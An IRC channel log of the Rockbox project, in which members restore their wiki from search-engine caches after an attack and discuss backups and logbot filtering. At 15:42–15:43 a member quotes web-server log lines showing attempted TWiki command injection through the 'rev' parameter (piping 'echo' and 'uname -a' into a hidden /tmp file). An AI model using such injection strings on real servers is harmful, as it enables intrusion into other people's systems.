| 14:24:26 | preglow | can't remember one time i've ever done that and actually wanted it |
| 14:24:44 | preglow | plenty of times when i did not want it, though... |
| 14:25:48 | rasher | Bger: Yeah.. if possible, use the naming scheme "PageName-r1.11 - 07-28.html" |
| 14:25:58 | rasher | where 1.11 is the revision, 07-28 is the date of the page |
| 14:26:01 | rasher | both found at the bottom |
| 14:26:09 | Bger | ok, starting :) |
| 14:26:14 | tucoz | preglow: yes, it should definitely force the user to answer some questions. But I guess that would be bypassed by some pipes. |
| 14:26:28 | rasher | some of them are available as raw .. do a search with inurl:raw=on |
| 14:26:30 | preglow | you can always bypass it, of course |
| 14:26:36 | rasher | That's of course preferable |
| 14:26:51 | rasher | just copy the raw text and save it as .txt if that's available |
| 14:26:55 | rasher | same naming |
| 14:28:05 | Bger | ok:) |
| 14:28:10 | Bger | got it |
| 14:28:28 | HCl | does anyone have the standalone perl.exe? |
| 14:30:52 | rasher | not I |
| 14:31:15 | LinusN | it's in the wi.... ehum |
| 14:31:23 | ashridah | heh |
| 14:32:54 | tucoz | isn't it in one of these packages? http://www.cpan.org/ports/#win32 |
| 14:34:29 | rasher | Bger: Actually, to avoid confusion. I'll start from pluginbounce and work down |
| 14:34:36 | Bger | ok |
| 14:34:46 | Bger | i started from ArchosFAQ |
| 14:34:56 | rasher | excellent |
| 14:36:39 | Bger | ColdFire - raw |
| 14:39:11 | Zagor | archive.org grabbed rockbox.org the 13,14,15,17,18,19,20,23,25th of november 2004. and never again since... |
| 14:39:16 | Zagor | talk about erratic behaviour |
| 14:39:46 | ashridah | they probably realised you were using constantly changing content |
| 14:46:01 | tucoz | it seems as if not all search engines give access to the cached pages. Only search.msn.com, www.google.com and search.yahoo.com. |
| 14:46:12 | tucoz | do this so far |
| 14:47:47 | tucoz | hmm, and yahoo gives have a link to the cache, but gives an error when pressed. |
| 14:47:48 | Bger | unfortunately we've lost all attachments/pictures etc... |
| 14:48:02 | rasher | tucoz: it does that sometimes |
| 14:48:04 | rasher | as does msn |
| 14:48:25 | tucoz | yes, but with msn it might pop up if you retry |
| 14:49:12 | rasher | Haven't used yahoo much |
| 14:49:25 | rasher | it did have "RockboxTesting" which none of the others did, though |
| 14:50:25 | tucoz | yahoo seem to give wiki syntax |
| 14:50:34 | tucoz | http://216.109.125.130/search/cache?p=site%3Arockbox.org+inurl%3Atwiki+inurl%3Araw%3Don&prssweb=Search&ei=UTF-8&fl=0&b=11&u=www.rockbox.org/twiki/bin/view/Main/IaudioM3Info%3Fraw%3Don&w=twiki+raw&d=MlFIXWFULddu&icp=1&.intl=us |
| 14:50:52 | Zagor | tucoz: that's the "view raw" link |
| 14:51:01 | tucoz | Oh, ok. |
| 14:51:20 | Zagor | it's prefarrable actually, since that's exactly what you write in twiki |
| 14:51:38 | Bger | hm, i must search in msn and yahoo too, then ... |
| 14:51:45 | rasher | this isn't there for many pages though |
| 14:52:07 | tucoz | too bad if a lot of binary data is missing |
| 14:52:07 | Bger | rasher : what's the analogue of inurl:raw in yahoo |
| 14:52:20 | tucoz | Bger inurl:raw :) |
| 14:52:24 | rasher | a simple 'inurl:raw inurl:twiki "Jul 2005"' works good though |
| 14:53:34 | rasher | and Jun 2005 of course |
| 14:55:09 | rasher | http://search.yahoo.com/search?p=site%3Arockbox.org+inurl%3Araw+%22Jul+2005%22&fr=sfp&ei=UTF-8&save=0 quite a few there |
| 14:56:32 | tucoz | wonder if yahoo will be able to grab a bite off of google's search monopoly. Read somewhere that yahoo gives more hits for a search than google. Might be a quantity vs quality question though. |
| 14:57:54 | Bger | wow, device chart raw in yahoo |
| 14:58:33 | rasher | woohoo |
| 14:58:50 | Bger | not in google :) |
| 14:58:59 | rasher | Might want to go through yahoo for the newer pages as well (august+september) afterwards |
| 14:59:28 | rasher | I only tried google and msn for those |
| 15:00 |
| 15:00:58 | tucoz | rasher, may I help you with that? |
| 15:01:17 | Bger | sure |
| 15:01:25 | tucoz | where do I start? |
| 15:01:32 | Bger | start from IriverBattery |
| 15:01:36 | tucoz | ok |
| 15:01:47 | Bger | or maybe |
| 15:02:04 | Bger | better try starting from beginning and search in msn for raw pages |
| 15:02:14 | tucoz | ok |
| 15:02:40 | Bger | i've got only BrokenSed, ColdFire, DeviceChart, DynamicCPUFrequency |
| 15:02:43 | Bger | as raw |
| 15:02:46 | Bger | till now |
| 15:03:01 | Bger | tryed in google & yahoo |
| 15:04:18 | tucoz | no archosfaq in msn |
| 15:04:49 | Bger | Jens will be proud :) Graphics API raw in yahoo :) |
| 15:07:46 | Bger | hm, seems like yahoo loves Iaudio |
| 15:08:42 | rasher | Heh |
| 15:10:08 | rasher | graphicsapi would be annoying not to have as raw |
| 15:10:15 | Bger | yep |
| 15:10:22 | rasher | and devicechart *shudder* |
| 15:10:28 | Bger | but devicechart is worse :) |
| 15:11:54 | rasher | I'm going to have a go with google on the newer pages |
| 15:11:56 | rasher | eh, yahoo |
| 15:12:35 | Bger | IaudioX5Info is nearly pointless ... |
| 15:13:11 | tucoz | msn hates raw pages |
| 15:13:53 | LinusN | Bger: pointless? |
| 15:14:19 | Bger | LinusN : at least the cache of it in google |
| 15:14:26 | LinusN | because? |
| 15:14:30 | Bger | see it |
| 15:15:33 | LinusN | url? |
| 15:15:40 | tucoz | only 21 results with raw inurl using msn |
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| 15:16:40 | Bgr | http://66.249.93.104/search?q=cache:4dsOuVhVGkYJ:www.rockbox.org/twiki/bin/view/Main/IaudioX5Info+site:www.rockbox.org+IaudioX5Info&hl=bg |
| 15:17:32 | rasher | tucoz: msn doesn't do inurl |
| 15:17:45 | rasher | searching for "raw=on" almost works.. |
| 15:18:30 | tucoz | oh, starting over then |
| 15:19:11 | Bger | God Blesses yahoo ... |
| 15:19:59 | LinusN | Bgr: aha :-) |
| 15:20:22 | LinusN | i might be able to recover some of the attachments |
| 15:20:24 | * | Bger hasn't used yahoo for years ... |
| 15:21:34 | Bger | and parts of my firefox cache :) |
| 15:22:02 | * | rasher manages to pull out a few more "raw" versions of the pages I found on saturday |
| 15:22:34 | tucoz | rasher: msn does indeed support inurl |
| 15:22:52 | tucoz | http://blogs.msdn.com/msnsearch/archive/2005/06/24/432439.aspx |
| 15:23:27 | rasher | didn't seem to react properly to it when I tried |
| 15:24:03 | Bger | irivernavigation raw in google, but not in yahoo :) |
| 15:24:18 | tucoz | no, it doesn't work as for google or yahoo |
| 15:24:21 | tucoz | as good as |
| 15:24:25 | rasher | Yeah, it's a right treasurehunt |
| 15:24:39 | rasher | Hm, almost done, it seems |
| 15:25:06 | rasher | I'm done with PluginBounce > XclefInfo |
| 15:25:22 | rasher | All of them found, 8 available as raw |
| 15:25:22 | Bger | i'm up to iriverportfornewbs |
| 15:25:35 | Bger | here 10 raw |
| 15:25:52 | tucoz | well, seems msn is no go then |
| 15:26:25 | Bger | 11 raw |
| 15:26:25 | rasher | PhilipsSAA7750 available as raw |
| 15:26:34 | B4gder | great, reading back my ccache cache from backup ;-) |
| 15:27:34 | rasher | B4gder: how.. non-critical |
| 15:27:44 | B4gder | you say? ;-) |
| 15:28:15 | B4gder | I got a nice 4GB tarball |
| 15:29:07 | rasher | Bger: once you reach philipssaa7750, package up what you have and send it to me ( jfh EMAIL-AT-SIGN adr DOT dk ) |
| 15:29:35 | Bger | okay |
| 15:29:35 | rasher | and I'll add it to the page I made |
| 15:30:06 | rasher | should not be too much work.. just have to edit a csv file and throw the files in the dir |
| 15:30:11 | Bger | i'm near it, @ LiIon FAQ |
| 15:30:24 | rasher | okay |
| 15:32:27 | Bgr | http://66.218.69.11/search/cache?p=inurl%3Araw+inurl%3Atwiki+PhilipsPNX0101&prssweb=Search&ei=UTF-8&fl=0&u=www.rockbox.org/twiki/bin/view/Main/PhilipsPNX0101%3Fraw%3Don&w=raw+twiki+philipspnx0101&d=cZOGlWFULdVW&icp=1&.intl=us strange |
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| 15:33:16 | Bgr | the site says "cache" ... |
| 15:33:25 | rasher | yeah, I got that too at some point |
| 15:33:30 | rasher | I guess yahoo was lying to you |
| 15:33:48 | Bgr | hm, i've got it before, but one refresh solved it |
| 15:38:25 | rasher | Zagor: I think we're ready to have the wiki back.. might want to upgrade it.. I think. |
| 15:38:35 | Zagor | really? ;) |
| 15:39:04 | Zagor | i'm working on it |
| 15:40:19 | B4gder | people are trying the hole all the time |
| 15:40:33 | rasher | Nice |
| 15:40:44 | rasher | wouldn't want to go live with a vulnerable version |
| 15:42:10 | preglow | no shit |
| 15:42:17 | B4gder | 195.200.118.97 - - [18/Sep/2005:13:20:03 +0200] "GET /twiki/bin/view/Main/TWikiU |
| 15:42:17 | B4gder | sers?rev=2%20%7Cecho%20w00t%00 HTTP/1.1" 404 1040 "-" "lwp-request/2.01" |
| 15:42:30 | preglow | hahaha |
| 15:43:28 | B4gder | or the more advanced: |
| 15:43:29 | rasher | Excellent |
| 15:43:36 | B4gder | 200.165.83.148 - - [19/Sep/2005:04:19:29 +0200] "GET /twiki/bin/view/Main/TWikiU |
| 15:43:36 | B4gder | sers?rev=2%20%7Cuname%20-a|uname%20-a>/tmp/.AYu3478HSuy%7Cless%20/tmp/.AYu3478HS |
| 15:43:36 | B4gder | uy HTTP/1.1" |
| 15:47:08 | tucoz | How come a persons name is reported when running whois on the first ip? |
| 15:47:33 | tucoz | Is that the registered user for that ip, or the isp? |
| 15:47:55 | B4gder | 195.200.118.0 - 195.200.118.127 Digital Rural Informatique |
| 15:48:12 | B4gder | the names are contact persons |
| 15:48:30 | tucoz | Ok, I sortof guessed that. |
| 15:51:01 | * | preglow loves applying for jobs |
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| 15:52:25 | Bger | rasher : anything other i can do? |
| 15:54:06 | rasher | Bger: well, restore the pages once the wiki goes up.. I think the search-engine digging is done |
| 15:54:39 | Bger | okay, but i'm here for about a half hour more, so... |
| 15:54:44 | Bger | tomorrow |
| 15:56:54 | Bger | when the wiki will be up again ? |
| 15:56:55 | rasher | Updating rasher.dk/rockbox/WikiRescue">http://rasher.dk/rockbox/WikiRescue now . might have a few errors |
| 15:56:59 | Bger | approx. ? |
| 15:57:04 | LinusN | Bger: soon |
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| 16:08:40 | t0mas | hm... have we tracked down the guy who did it? |
| 16:08:48 | t0mas | got his IP? e-mailed his ISP? |
| 16:09:02 | t0mas | traced his home address and shot him? ;) |
| 16:09:17 | Bgr | i vote for the last one :) |
| 16:09:32 | Zagor | i'd say it's quite likely the machine was compromised |
| 16:09:39 | B4gder | yes |
| 16:09:49 | B4gder | not totally unlikely at least |
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| 16:12:56 | Ctcp | Version from freenode-connect!freenode@freenode/bot/connect |
| 16:12:57 | *** | Server message 477: 'logbot #RockBox :[freenode-info] help freenode weed out clonebots, please register your IRC nick and auto-identify: http://freenode.net/faq.shtml#nicksetup' |
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| 16:23:53 | rasher | rasher.dk/rockbox/WikiRescue/">http://rasher.dk/rockbox/WikiRescue/ should be working now |
| 16:24:33 | rasher | hm, almost |
| 16:28:55 | Bger | where did you get the last page from ? |
| 16:29:01 | Bger | the last version i mean |
| 16:29:30 | rasher | From caches of WebIndex and MoreRecentChanges |
| 16:29:43 | Bger | aha :) |
| 16:29:57 | rasher | Hrm, some of them aren't showing up |
| 16:30:07 | rasher | annoying |
| 16:30:24 | rasher | like IriverPlaylistInstructions |
| 16:30:36 | Bger | gotta go, bye |
| 16:30:49 | rasher | bye |
| 16:32:41 | Zagor | twiki is running again. you can start restoring. |
| 16:33:00 | rasher | 10 Jun 2005 - 20:56 GeoffSmith GeoffSmith |
| 16:33:01 | rasher | :-\ |
| 16:33:16 | Zagor | yup |
| 16:33:38 | LinusN | have fun :-) |
| 16:33:55 | LinusN | somehow i think rasher will top the stats :-) |
| 16:33:56 | * | rasher sighs |
| 16:34:13 | rasher | I wonder how to keep track |
| 16:34:27 | Zagor | I think we owe him a case of beer |
| 16:35:02 | LinusN | gotta run |
| 16:35:05 | LinusN | cu klater |
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| 16:35:24 | rasher | ARgh, can't log in |
| 16:35:29 | rasher | why the devil not |
| 16:36:00 | B4gder | me neither |
| 16:36:10 | Zagor | hang on |
| 16:36:23 | Zagor | it's looking at the wrong .htpasswd file |
| 16:36:28 | rasher | Excellent |
| 16:36:45 | rasher | That would explain why |
| 16:38:13 | rasher | That's better |
| 16:39:02 | rasher | First page restored |
| 16:40:35 | linuxstb | How many left? :) |
| 16:41:26 | rasher | 117 |
| 16:41:35 | linuxstb | Ouch. |
| 16:43:02 | Zagor | afk for a bit. back later. |
| 16:43:35 | rasher | http://www.rockbox.org/twiki/bin/view/Main/CustomWPS - Revision r1.4 - 20 Jun 2004 - 11:36 - TorstenT |
| 16:43:37 | rasher | whatwhatwhat |
| 16:45:10 | rasher | hrm, other pages seem right |
| 16:45:25 | B4gder | odd |
| 16:45:37 | linuxstb | Probably before the iriver WPS screens started |
| 16:45:55 | linuxstb | i.e. nothing for a year and then 100 updates in a few months. |
| 16:46:38 | B4gder | yeah, seems likely |
| 16:47:10 | Dma-Sc | what is the iriver ihp120 screen size? |
| 16:47:20 | B4gder | 160x128 |
| 16:47:24 | B4gder | if you mean pixels |
| 16:47:30 | Dma-Sc | yeah, thanks |
| 16:48:07 | linuxstb | Dma-Sc: You can check the Wiki now: http://www.rockbox.org/twiki/bin/view/Main/DeviceChart :) |
| 16:50:55 | B4gder | I like the new table look |
| 16:51:00 | rasher | Zagor, B4gder: problem |
| 16:51:05 | rasher | During save of file Main.FeatureComparison an error was found by the version control system. Please notify your Rockbox administrator. |
| 16:52:03 | Dma-Sc | oh wiki's back? :) |
| 16:52:24 | rasher | An old version of it |
| 16:53:42 | Dma-Sc | better than nothing |
| 16:53:53 | rasher | certainly |
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| 16:54:49 | solexx | rasher: if you ever come down to hamburg, contact me. i owe you a beer |
| 16:54:52 | solexx | or two |
| 16:54:56 | Dma-Sc | ah yes with your help i suppose, as i was pointed to your website for rockbox wiki yesterday |
| 17:00 |
| 17:02:35 | Dma-Sc | btw is rockboy aimed to be optimized further? or it's just a nice candy to wow user's friends (as slow lcd won't give it much purpose)... |
| 17:04:03 | rasher | Oh of course rasher.dk dies now.. |
| 17:04:26 | Dma-Sc | erm, it seems wiki's got things about rockboy, sorry ;) |
| 17:05:37 | B4gder | everything people will work on will get better |
| 17:09:56 | rasher | (yeah, I'm butchering utf8 on the wiki.. sorry) |
| 17:10:45 | Dma-Sc | rockboy emulation would be nice to have as a sound codec to play .gbs files btw (http://www.zophar.net/gbs/), though i don't know how good/faithful its sound emulation is. |
| 17:13:57 | rasher | There.. all the pages available in raw wiki syntax have been updated |
| 17:14:23 | rasher | That was of course the easy part. |
| 17:14:27 | linuxstb | Can you tell what attachments are missing? |
| 17:14:34 | rasher | Not at all |
| 17:14:52 | rasher | I guess you can, but I haven't been paying attention to that |
| 17:15:31 | rasher | Looking at http://www.rockbox.org/twiki/bin/view/Main/MoreRecentChanges it should be possible to guess which pages need attention |
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| 17:27:17 | preglow | B4gder: solved your backup issues, btw? ;) |
| 17:27:25 | B4gder | not yet, no |
| 17:27:32 | B4gder | been busy restoring |
| 17:29:25 | rasher | first html restore done |
| 17:29:27 | rasher | that was tiresome |
| 17:29:55 | rasher | Was an entirely new page though, edits should be less annoying |
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| 17:30:52 | preglow | html restore has to be done by hand, i assume? |
| 17:30:56 | rasher | Yeah |
| 17:31:00 | preglow | omfg |
| 17:31:13 | rasher | well, some of the pages have just had a few words changed |
| 17:31:19 | rasher | only problem is spotting which |
| 17:31:45 | rasher | But the pages that were added after the backup-point will have to be re-created :-\ |
| 17:33:49 | preglow | we'll manage, after your efforts we're still five miles better off than we would have been |
| 17:39:45 | amiconn | Aaaarrrrgh! |
| 17:40:02 | amiconn | The backup is from the stone-age! :(( |
| 17:41:05 | amiconn | All my docs-rework from July gone... :( |
| 17:41:33 | rasher | amiconn: rasher.dk/rockbox/WikiRescue/">http://rasher.dk/rockbox/WikiRescue/ have anything? |
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| 17:42:39 | rasher | soo much left to go |
| 17:43:07 | amiconn | I have no idea, I made >150 page changes in July |
| 17:43:51 | rasher | well, unless they were attachments, they're available on that page |
| 17:44:03 | rasher | attachments, unfortunately, are lost |
| 17:44:17 | amiconn | There were pages with many images attached |
| 17:45:31 | amiconn | Reworked and extended archos disassembling howto, the really tedious-to-make uart boot page... |
| 17:45:51 | rasher | Those are saved - except the images |
| 17:46:34 | rasher | so if you still have the images lying around, it shouldn't be too bad |
| 17:47:20 | amiconn | The images of the disassembling howto were taken from the old /docs folder, so those are no problem |
| 17:47:37 | amiconn | However, I'm not sure whether I still have the uart boot pics |
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| 17:48:05 | amiconn | I thought putting them on the server would be quite safe |
| 17:48:51 | rasher | Murphy is a harsh mistress |
| 17:49:16 | amiconn | I'd never have expected such a poor backup, even for a hobby project server. There are so many participants from all over the world investing a lot of time... |
| 17:49:55 | amiconn | If backup doesn't run for a week, okay, may happen. But 3 months?? |
| 17:50:42 | amiconn | Perhaps we should have a full mirror somewhere |
| 17:51:07 | rasher | What the... no BootBox page? |
| 17:51:15 | rasher | oh right |
| 17:51:17 | rasher | of course not |
| 17:55:07 | Dma-Sc | btw, have some people compared playtime between iriver fw and rockbox? |
| 17:55:15 | rasher | Yup |
| 17:55:31 | rasher | There are some threads on Misticriver I think |
| 17:55:49 | rasher | Iirc, the consensus seems to be that ogg is slightly better, mp3 is about the same |
| 17:55:53 | rasher | not quite sure |
| 17:56:31 | linuxstb | Don't forget that Rockbox is constantly improving, iRiver is staying still. But it would be nice to know where we stand currently. |
| 17:58:26 | linuxstb | rasher: Have you got a copy of IriverStatus? |
| 17:58:43 | rasher | that one's outdated unfortunately |
| 17:58:51 | rasher | rasher.dk/rockbox/WikiRescue/IriverStatus-r1.14%20-%2008-30.html">http://rasher.dk/rockbox/WikiRescue/IriverStatus-r1.14%20-%2008-30.html |
| 17:59:52 | linuxstb | I may have that on my laptop in my firefox cache - I'll check tonight when I get home. |
| 17:59:55 | rasher | oi! |
| 17:59:57 | preglow | amiconn: they did have daily backups until something went wrong |
| 18:00 |
| 18:00:00 | rasher | http://66.218.69.11/search/cache?p=site%3Arockbox.org+inurl%3AIriverStatus&ei=UTF-8&u=www.rockbox.org/twiki/bin/view/Main/IriverStatus&w=iriverstatus&d=XOxpqGFULdS1&icp=1&.intl=us |
| 18:00:05 | rasher | sep. 13 version |
| 18:00:56 | amiconn | preglow: Yes I know. My point is that I can't imagine how a failing backup can go undetected for 3 months |
| 18:01:18 | rasher | It didn't |
| 18:01:26 | rasher | Not for 3 months at least |
| 18:01:30 | rasher | There was just not time to fix it |
| 18:01:38 | rasher | Is the impression I got |
| 18:01:43 | rasher | time/motivation |
| 18:01:57 | amiconn | Even worse... |
| 18:02:00 | Slasheri | simple rsync backup is easily set up in a few minutes.. |
| 18:02:32 | rasher | linuxstb: IriverStatus from yahoo is completely up to date |
| 18:03:09 | rasher | html, but what can you do |
| 18:07:25 | Zagor | amiconn: backup has only been down 2 weeks. but that was enough to overwrite the old tapes. |
| 18:07:44 | amiconn | No daily/weekly/monthly scheme? |
| 18:08:25 | Zagor | it's an elaborate incremental scheme. not sure about the details myself. |
| 18:09:07 | Zagor | needless to say, we'll get more into it from now on. |
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| 18:22:47 | HCl | http://www.talklikeapirate.com/piratehome.html |
| 18:23:26 | rasher | Yarr |
| 18:23:36 | HCl | its international talk like a pirate day |
| 18:23:39 | HCl | maties |
| 18:24:18 | Moos | hi guys |
| 18:24:24 | Moos | hi HCl :) |
| 18:24:54 | Moos | what's about the tests about your new database design? |
| 18:25:17 | Moos | commitable? |
| 18:25:18 | preglow | amiconn: didn't go undetected ;) |
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| 18:28:16 | rasher | If any of you update a wikipage, notify me and I'll mark it on rasher.dk/rockbox/WikiRescue/">http://rasher.dk/rockbox/WikiRescue/ |
| 18:28:29 | rasher | to avoid duplication of effort |
| 18:28:41 | Moos | sure |
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| 18:29:13 | webguest17 | Dissected nano for your viewing pleasure http://pc.watch.impress.co.jp/docs/2005/0908/nano.htm |
| 18:29:58 | Zagor | rasher: FeatureComparison fixed (as in both restored and made writable again) |
| 18:30:28 | rasher | Zagor: heh.. b4gder fixed that a while ago :) |
| 18:30:42 | Zagor | really? it was still read-only... |
| 18:30:51 | HCl | Moos: i haven't got a hold of perl.exe yet |
| 18:30:53 | HCl | so i can't test. |
| 18:31:07 | rasher | Zagor: weird.. I've edited that. |
| 18:31:17 | rasher | 19 Sep 2005 - 14:52 FeatureComparison JonasHaeggqvist |
| 18:31:29 | Moos | HCl: is'nt in the wiki yet? |
| 18:31:32 | Zagor | yeah, just saw that |
| 18:31:36 | HCl | is it? |
| 18:31:48 | Moos | rasher? |
| 18:31:52 | Moos | :-) |
| 18:31:59 | rasher | I'd think so |
| 18:32:00 | HCl | nope... |
| 18:32:07 | rasher | weird |
| 18:32:12 | HCl | seems like all attachments were lost |
| 18:32:15 | rasher | nope |
| 18:32:34 | rasher | http://www.rockbox.org/twiki/bin/view/Main/IriverBattery for example |
| 18:32:36 | HCl | well |
| 18:32:43 | HCl | the ones of tagdatabase don't appear on the site |
| 18:32:43 | HCl | but |
| 18:32:47 | HCl | i edited the url by hand |
| 18:32:50 | HCl | and now i got perl.exe |
| 18:33:04 | Moos | fine |
| 18:33:11 | HCl | i'll test it laer |
| 18:33:16 | HCl | later |
| 18:33:20 | HCl | dinner... |
| 18:33:23 | Moos | ok thanks |
| 18:33:30 | Moos | have a good diner ;) |
| 18:33:45 | Dma-Sc | with hd spin time tweakable, maybe rockbox gains a bit of battery time on the overall, compared to iriver |
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| 18:48:15 | t0mas | Bagder? |
| 18:48:23 | t0mas | I get all list e-mail double |
| 18:49:20 | t0mas | can you unsubscribe firstname@lastname.nl (tomas salfischberger) |
| 18:49:35 | t0mas | (maybe we should put an address filter on the logbot?) |
| 18:50:15 | Zagor | t0mas: done |
| 18:51:11 | CoCoLUS | HCl: makedbj.bat is still missing, thought i mention that |
| 18:51:28 | rasher | On the subject of filetering logbot, maybe it should filter control characters out |
| 18:51:29 | t0mas | Zagor: tnx |
| 18:51:43 | t0mas | rasher: like these: bold |
| 18:51:46 | t0mas | or other? |
| 18:51:59 | rasher | I'm not sure |
| 18:52:13 | rasher | the ones that break apache+gecko |
| 18:52:21 | t0mas | hm |
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| 18:53:54 | t0mas | rasher: can you define breaking? :) |
| 18:54:36 | t0mas | displaying it as a block? or something else? |
| 18:54:41 | rasher | Causing it to want to save the file instead of displaying it |
| 18:55:07 | t0mas | ok, then it's not the bold thing |
| 18:55:13 | t0mas | italic? |
| 18:55:17 | t0mas | underline |
| 18:55:21 | t0mas | or some color maybe... |
| 18:55:23 | rasher | Some people have them in their quit messages |
| 18:55:35 | t0mas | what gecko was it? |
| 18:55:46 | t0mas | new firefox versions? or very old mozilla's? |
| 18:55:52 | DBUG | Enqueued KICK t0mas |
| 18:55:52 | t0mas | testing |
| 18:55:59 | t0mas | :) |
| 18:56:05 | rasher | All geckos, I think. |
| 18:56:22 | t0mas | hm... firefox is still working with this chars in the page |
| 18:57:10 | *** | Alert Mode level 1 |
| 18:57:10 | t0mas | :S |
| 18:57:25 | t0mas | rasher: do you know a log that wasn't working correctly? |
| 18:57:34 | rasher | not really, no |
| 18:57:57 | fuzzie | didn't you link to one in your mojira bug |
| 18:58:01 | t0mas | please tell me if you find one... |
| 18:58:01 | rasher | hang on, I filed.. yes |
| 18:58:08 | t0mas | ah ok |
| 18:58:47 | rasher | http://www.rockbox.org/irc/rockbox-20050527.txt |
| 18:58:51 | rasher | https://bugzilla.mozilla.org/show_bug.cgi?id=295759 |
| 18:59:02 | t0mas | jup new firefox has the same problem |
| 18:59:12 | Ctcp | Ignored 1 channel CTCP requests in 0 seconds at the last flood |
| 18:59:12 | * | t0mas wgets it :) |
| 18:59:38 | t0mas | hm |
| 18:59:44 | t0mas | vi does display weird things too |
| 19:00 |
| 19:00:16 | t0mas | 00.08.28 Quit F1^Aison ("(^O www.nnscript.de ::^O NoNameScript 3.72 ::^O www.^OXLhost.de^O )^O") |
| 19:00:34 | rasher | Yup |
| 19:00:35 | t0mas | testing |
| 19:00:50 | t0mas | hm... todays log isn't fucked if I do the same... |
| 19:01:07 | | Quit Sucka (Read error: 110 (Connection timed out)) |
| 19:01:29 | t0mas | ( w |
| 19:01:40 | rasher | it's a 0x0F |
| 19:01:41 | t0mas | still works |
| 19:01:44 | t0mas | hm... |
| 19:02:05 | t0mas | shift in |
| 19:02:11 | t0mas | according to my asciitable |
| 19:03:10 | t0mas | we can ofcourse just filter all non-ascii chars... |
| 19:03:24 | t0mas | because a webbrowser can't display the colorcodes etc. anyway... |
| 19:06:21 | goa | i have a script floating arround somewhere to convert mIRC colors to css, in case you're interessted.. |
| 19:06:44 | preglow | argh |
| 19:06:48 | amiconn | t0mas: Better not filter all non-ascii, just control chars |
| 19:06:49 | preglow | i get two mails as well |
| 19:07:07 | rasher | amiconn: why not? |
| 19:07:11 | *** | Alert Mode OFF |
| 19:07:39 | t0mas | amiconn: but the colorcodes are controlchars... |
| 19:07:44 | t0mas | \001 = bold afaik? |
| 19:07:48 | t0mas | or action |
| 19:07:51 | preglow | action |
| 19:07:51 | t0mas | or something like it... |
| 19:07:53 | amiconn | I'd prefer to keep iso8859-1 |
| 19:08:17 | rasher | Well, anything <0x20 |
| 19:08:26 | t0mas | that would kill colors anyway... |
| 19:08:28 | amiconn | Yes, except line feeds |
| 19:08:41 | t0mas | maybe do the color conversion first? |
| 19:08:49 | t0mas | and then strip the rest of the < 0x20 chars? |
| 19:08:54 | t0mas | (except lineends) |
| 19:09:07 | t0mas | where is this logbot running? and in what is it written? :) |
| 19:09:10 | rasher | well, the line feeds are added by the bot, presumably |
| 19:09:18 | rasher | it's a dancer |
| 19:09:20 | rasher | No, really. |
| 19:09:27 | t0mas | rasher: no, they MUST be \r\n for IRC standards |
| 19:09:33 | t0mas | so they are already there |
| 19:10:13 | rasher | the log is \n only |
| 19:10:27 | rasher | So I'm guessing the bot treats lines trimmed |
| 19:10:33 | rasher | and add the nl when writing the log |
| 19:10:33 | t0mas | could be... |
| 19:10:57 | t0mas | where is the bot running? on the freenode servers? or on some rockbox server? |
| 19:11:43 | rasher | [logbot] (n=bjst@labb.contactor.se): I am the #rockbox log bot |
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| 19:26:07 | amiconn | Hmm, more MAS weirdness. Even w/o any peakmeter activity, today's test recording shifted by 1 bit after ~6 hours :( |
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| 19:28:01 | rasher | amiconn: any ideas lined up? |
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| 19:30:00 | hshah | hi all |
| 19:30:15 | rasher | evening |
| 19:30:20 | hshah | im working on getting the SimplifiedGuideToCompiling back |
| 19:30:29 | hshah | im recreating it from cache as we speak |
| 19:30:50 | rasher | Have you seen rasher.dk/rockbox/WikiRescue/">http://rasher.dk/rockbox/WikiRescue/ ? |
| 19:30:51 | hshah | so where was this guy who hacked the site? |
| 19:31:05 | rasher | The attack came from a Russian IP |
| 19:31:16 | rasher | quite likely a compromised computer |
| 19:31:53 | hshah | rasher - thats the google cache im using to recreate it anyway |
| 19:31:59 | hshah | (for that page anyway) |
| 19:32:21 | hshah | gimme 30 mins and it should be back to normal |
| 19:32:28 | rasher | Just tell me when you're done, and I'll mark it on that page |
| 19:32:57 | hshah | ok |
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| 19:35:37 | goa | is the snap font distributed with rbx available for windows? |
| 19:38:58 | preglow | not very likely |
| 19:39:07 | preglow | windows prefers vector fonts |
| 19:39:34 | rasher | I guess you could convert it to a .fon file with a bit of luck |
| 19:39:36 | rasher | and the right tool |
| 19:40:14 | HCl | yarr. |
| 19:43:15 | goa | mh, would have been nice to layout wp screens in a grafic app.. |
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| 19:59:59 | preglow | Lear: were you having a look at the wav patch? |
| 20:00 |
| 20:00:13 | Lear | I was planning to... |
| 20:00:48 | Lear | Because I've hacked metadata.c a lot, and the wav patch is affected by that. |
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| 20:03:22 | goa | great, got it converted :) |
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| 20:05:54 | muesli- | re |
| 20:05:58 | goa | in case someone likes it as well.. http://lstyd.imos.net/snap.fon |
| 20:06:04 | hshah | rasher u still around? |
| 20:06:10 | rasher | hshah: yup |
| 20:06:16 | hshah | well im done with that page |
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| 20:07:07 | webguest58 | Hello |
| 20:07:45 | webguest58 | Anyone here know a link for ogg ripper please |
| 20:07:59 | rasher | hshah: noted |
| 20:08:15 | webguest58 | I want to rerip my songs in ogg for my Iriver Rockbox |
| 20:08:29 | hshah | rasher: cool thanks - just thought it would be best that i do that page cos i would know the formatting the best since i wrote it |
| 20:08:31 | hshah | :) |
| 20:08:44 | rasher | Sure, the more people fix their own pages the better |
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| 20:09:08 | webguest58 | please |
| 20:09:19 | rasher | webguest58: Which ripper have you been using previously? |
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| 20:09:50 | goa | webguest58: what OS? |
| 20:10:00 | webguest58 | just p2p |
| 20:10:12 | webguest58 | I use windows |
| 20:10:15 | goa | ok |
| 20:10:15 | rasher | So.. what to you mean re-rip? |
| 20:10:16 | goa | wait |
| 20:10:18 | rasher | From CD? |
| 20:10:33 | webguest58 | yes CD−−>OGG files |
| 20:11:06 | goa | webguest58: start here http://wiki.hydrogenaudio.org/index.php?title=Main_Page#Audio_Hardware_.26_CD_Ripping |
| 20:11:15 | rasher | I'ved used CDex - http://cdexos.sf.net with decent results |
| 20:11:18 | webguest58 | ok |
| 20:11:20 | goa | use EAC and vorbis commandline encoder. |
| 20:11:29 | webguest58 | ? |
| 20:11:39 | goa | just read the link |
| 20:11:40 | webguest58 | newbee here scuse |
| 20:11:44 | webguest58 | ok |
| 20:12:02 | *** | Saving seen data "./dancer.seen" |
| 20:13:14 | webguest58 | apearently EAC is fine |
| 20:13:27 | goa | it's the best, yes. |
| 20:13:36 | hshah | rasher: unfortunately quite a few pages were edited by a lot of people - ie the wps design pages - so that will be hard to recreate |
| 20:13:42 | webguest58 | thanks for the link |
| 20:13:58 | webguest58 | goa |
| 20:14:05 | webguest58 | and thanks to rasher too |
| 20:14:25 | rasher | hshah: yeah of course.. not hard, it'll just take longer |
| 20:14:51 | hshah | true - we will get there |
